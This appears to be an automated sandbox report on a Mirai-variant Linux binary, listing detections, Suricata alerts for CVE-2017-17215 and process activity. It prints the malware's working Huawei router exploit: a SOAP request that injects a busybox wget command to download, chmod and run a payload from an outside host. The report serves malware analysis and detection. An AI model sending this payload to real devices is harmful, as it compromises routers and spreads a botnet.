Create Interactive Tour

Linux Analysis Report
cbr.spc.elf

Overview

General Information

Sample name:	cbr.spc.elf
Analysis ID:	1631257
MD5:	bbfc004477110952b9fca25f4591eadc
SHA1:	604ff07884d8a45adffc5d4fb2524f224151495c
SHA256:	a055b55c5b3c5c0bfe696feb5da8f62b70129278606087e159389f60a2a588fc
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1631257
Start date and time:	2025-03-06 21:37:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	cbr.spc.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/cbr.spc.elf
PID:	5432
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	thanks for inviting me :)
Standard Error:

Process Tree

system is lnxubuntu20

cbr.spc.elf (PID: 5432, Parent: 5356, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/cbr.spc.elf

cbr.spc.elf New Fork (PID: 5434, Parent: 5432)

cbr.spc.elf New Fork (PID: 5438, Parent: 5434)

cbr.spc.elf New Fork (PID: 5445, Parent: 5438)

cbr.spc.elf New Fork (PID: 5447, Parent: 5438)

cbr.spc.elf New Fork (PID: 5449, Parent: 5438)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
cbr.spc.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
cbr.spc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5432.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5432.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5449.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5449.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5449.1.00007fe578034000.00007fe5780b6000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5445.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5445.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5447.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5447.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5434.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5434.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5438.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5438.1.00007fe578011000.00007fe578021000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: cbr.spc.elf PID: 5432	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: cbr.spc.elf PID: 5434	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: cbr.spc.elf PID: 5445	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: cbr.spc.elf PID: 5447	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: cbr.spc.elf PID: 5449	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 13 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-06T21:38:05.524058+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35858	46.170.39.233	37215	TCP
2025-03-06T21:38:05.777231+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51144	223.8.97.197	37215	TCP
2025-03-06T21:38:05.796005+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45130	223.8.88.2	37215	TCP
2025-03-06T21:38:05.801148+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38970	196.82.234.162	37215	TCP
2025-03-06T21:38:05.809233+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57546	223.8.101.170	37215	TCP
2025-03-06T21:38:05.842070+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47098	156.236.78.194	37215	TCP
2025-03-06T21:38:05.859870+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41198	223.8.233.222	37215	TCP
2025-03-06T21:38:05.860429+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48918	223.8.126.49	37215	TCP
2025-03-06T21:38:05.871508+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58986	223.8.7.247	37215	TCP
2025-03-06T21:38:25.033194+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50672	197.84.9.2	37215	TCP
2025-03-06T21:38:25.034542+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37300	196.6.166.25	37215	TCP
2025-03-06T21:38:25.034701+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38516	197.21.114.231	37215	TCP
2025-03-06T21:38:25.048602+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53116	197.19.10.148	37215	TCP
2025-03-06T21:38:25.048615+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41572	46.231.15.207	37215	TCP
2025-03-06T21:38:25.048707+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49206	181.174.162.15	37215	TCP
2025-03-06T21:38:25.049836+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57428	197.180.169.54	37215	TCP
2025-03-06T21:38:25.049875+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35670	156.40.164.183	37215	TCP
2025-03-06T21:38:25.050067+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47394	41.147.108.84	37215	TCP
2025-03-06T21:38:25.050095+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59558	196.213.167.189	37215	TCP
2025-03-06T21:38:25.050279+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43028	197.245.68.4	37215	TCP
2025-03-06T21:38:25.052500+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45950	181.202.229.252	37215	TCP
2025-03-06T21:38:25.052780+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39186	197.174.225.92	37215	TCP
2025-03-06T21:38:25.054218+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49462	134.87.184.70	37215	TCP
2025-03-06T21:38:25.064057+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38670	46.205.90.64	37215	TCP
2025-03-06T21:38:25.064218+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56772	181.182.228.131	37215	TCP
2025-03-06T21:38:25.064234+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57912	41.231.60.157	37215	TCP
2025-03-06T21:38:25.064325+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49866	223.8.227.203	37215	TCP
2025-03-06T21:38:25.064415+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45934	197.48.163.17	37215	TCP
2025-03-06T21:38:25.065444+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34860	197.210.237.106	37215	TCP
2025-03-06T21:38:25.065543+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33966	196.40.168.239	37215	TCP
2025-03-06T21:38:25.065611+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34282	196.156.130.199	37215	TCP
2025-03-06T21:38:25.068054+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51380	46.165.55.231	37215	TCP
2025-03-06T21:38:25.080209+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56428	196.89.100.55	37215	TCP
2025-03-06T21:38:25.081567+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58502	156.45.1.6	37215	TCP
2025-03-06T21:38:25.081862+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33512	41.195.235.33	37215	TCP
2025-03-06T21:38:25.085487+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48816	46.201.207.119	37215	TCP
2025-03-06T21:38:25.092384+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41832	46.255.10.184	37215	TCP
2025-03-06T21:38:25.095366+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51698	196.43.167.177	37215	TCP
2025-03-06T21:38:25.095473+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56544	181.87.38.125	37215	TCP
2025-03-06T21:38:25.099059+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34548	181.45.240.179	37215	TCP
2025-03-06T21:38:25.099152+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47076	223.8.244.35	37215	TCP
2025-03-06T21:38:25.107994+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52570	41.35.133.151	37215	TCP
2025-03-06T21:38:25.111055+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59154	41.178.82.123	37215	TCP
2025-03-06T21:38:25.111158+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42964	134.250.14.201	37215	TCP
2025-03-06T21:38:25.111249+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50824	196.26.63.44	37215	TCP
2025-03-06T21:38:25.111474+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45012	134.76.175.137	37215	TCP
2025-03-06T21:38:25.111630+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46810	41.220.237.242	37215	TCP
2025-03-06T21:38:25.111733+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36012	156.148.48.105	37215	TCP
2025-03-06T21:38:25.111771+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50758	197.16.127.31	37215	TCP
2025-03-06T21:38:25.111943+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38680	223.8.188.202	37215	TCP
2025-03-06T21:38:25.112609+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53340	196.99.173.230	37215	TCP
2025-03-06T21:38:25.112846+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40740	196.114.213.245	37215	TCP
2025-03-06T21:38:25.113001+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59124	196.13.140.189	37215	TCP
2025-03-06T21:38:25.114861+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50170	41.172.61.3	37215	TCP
2025-03-06T21:38:25.114965+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36216	156.62.246.47	37215	TCP
2025-03-06T21:38:25.115046+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46548	196.44.144.135	37215	TCP
2025-03-06T21:38:25.116743+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39558	156.228.113.82	37215	TCP
2025-03-06T21:38:25.126871+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46950	181.75.36.86	37215	TCP
2025-03-06T21:38:25.127037+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57770	223.8.156.155	37215	TCP
2025-03-06T21:38:25.128453+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38120	196.251.27.28	37215	TCP
2025-03-06T21:38:25.128487+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49012	41.154.111.143	37215	TCP
2025-03-06T21:38:25.142541+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53006	181.44.208.87	37215	TCP
2025-03-06T21:38:25.142706+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36624	197.122.95.139	37215	TCP
2025-03-06T21:38:25.142706+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60684	197.99.235.91	37215	TCP
2025-03-06T21:38:25.142708+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33122	223.8.73.168	37215	TCP
2025-03-06T21:38:25.143573+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44956	197.238.9.115	37215	TCP
2025-03-06T21:38:25.143644+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45366	46.236.64.226	37215	TCP
2025-03-06T21:38:25.143855+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56652	223.8.181.1	37215	TCP
2025-03-06T21:38:25.143955+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51034	196.19.79.89	37215	TCP
2025-03-06T21:38:25.144060+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42210	197.50.17.141	37215	TCP
2025-03-06T21:38:25.146011+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59604	197.65.45.228	37215	TCP
2025-03-06T21:38:25.147820+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57912	41.172.7.4	37215	TCP
2025-03-06T21:38:25.154881+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48808	156.224.97.34	37215	TCP
2025-03-06T21:38:25.157834+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40922	156.137.24.0	37215	TCP
2025-03-06T21:38:25.157904+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48920	196.56.200.115	37215	TCP
2025-03-06T21:38:25.158083+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52756	156.163.195.66	37215	TCP
2025-03-06T21:38:25.158125+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49614	196.45.83.43	37215	TCP
2025-03-06T21:38:25.158162+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42554	41.228.176.24	37215	TCP
2025-03-06T21:38:25.158254+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58576	134.86.202.219	37215	TCP
2025-03-06T21:38:25.158306+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57086	41.66.105.153	37215	TCP
2025-03-06T21:38:25.158746+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53820	197.221.227.133	37215	TCP
2025-03-06T21:38:25.159765+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47672	197.218.93.64	37215	TCP
2025-03-06T21:38:25.159839+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60822	134.145.77.85	37215	TCP
2025-03-06T21:38:25.159948+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33860	134.93.161.218	37215	TCP
2025-03-06T21:38:25.160239+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53626	181.32.58.59	37215	TCP
2025-03-06T21:38:25.161792+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38636	197.20.229.146	37215	TCP
2025-03-06T21:38:25.162026+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49352	156.68.142.203	37215	TCP
2025-03-06T21:38:25.163500+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43466	197.154.103.166	37215	TCP
2025-03-06T21:38:25.164079+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59096	134.244.9.99	37215	TCP
2025-03-06T21:38:25.173516+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52564	223.8.154.165	37215	TCP
2025-03-06T21:38:25.173728+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45338	46.14.69.250	37215	TCP
2025-03-06T21:38:25.173729+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59644	134.97.23.39	37215	TCP
2025-03-06T21:38:25.175181+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43220	156.160.61.156	37215	TCP
2025-03-06T21:38:25.175249+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47048	223.8.27.133	37215	TCP
2025-03-06T21:38:25.177466+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48728	181.158.69.122	37215	TCP
2025-03-06T21:38:25.177522+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39514	223.8.96.153	37215	TCP
2025-03-06T21:38:25.177732+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58128	197.152.242.146	37215	TCP
2025-03-06T21:38:25.177872+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42606	181.98.143.241	37215	TCP
2025-03-06T21:38:25.189295+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43160	196.1.6.69	37215	TCP
2025-03-06T21:38:25.190474+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37932	46.93.2.228	37215	TCP
2025-03-06T21:38:25.191107+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43676	156.181.141.115	37215	TCP
2025-03-06T21:38:25.191153+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40610	196.208.2.191	37215	TCP
2025-03-06T21:38:25.194864+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35226	196.127.152.141	37215	TCP
2025-03-06T21:38:25.195003+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44950	156.13.118.195	37215	TCP

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 440Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f 2e 6b 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a 0d 0a 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: cbr.spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: cbr.spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/cbr.spc.elf (PID: 5438)	SIGKILL sent: pid: 5445, result: successful	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5438)	SIGKILL sent: pid: 5447, result: successful	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5438)	SIGKILL sent: pid: 5449, result: successful	Jump to behavior

Source: classification engine

Classification label: mal88.troj.linELF@0/0@0/0

Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3122/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3117/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3114/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/914/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/518/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/519/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/917/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3134/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3375/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3132/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3095/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1745/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1866/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1588/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/884/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1982/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/765/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3246/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/767/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1906/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/802/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/803/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1748/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3420/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1482/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/490/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1480/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1755/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1238/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1875/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/2964/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3413/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1751/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1872/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/2961/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1475/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/656/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/778/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/657/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/658/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/659/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/418/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/936/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/419/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/816/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1879/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1891/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3310/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3153/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/780/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/660/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1921/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/783/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1765/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/2974/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1400/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1884/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3424/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/2972/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3147/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/2970/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1881/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3146/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3300/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1805/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1925/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1804/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1648/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1922/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3429/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3165/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3164/maps	Jump to behavior
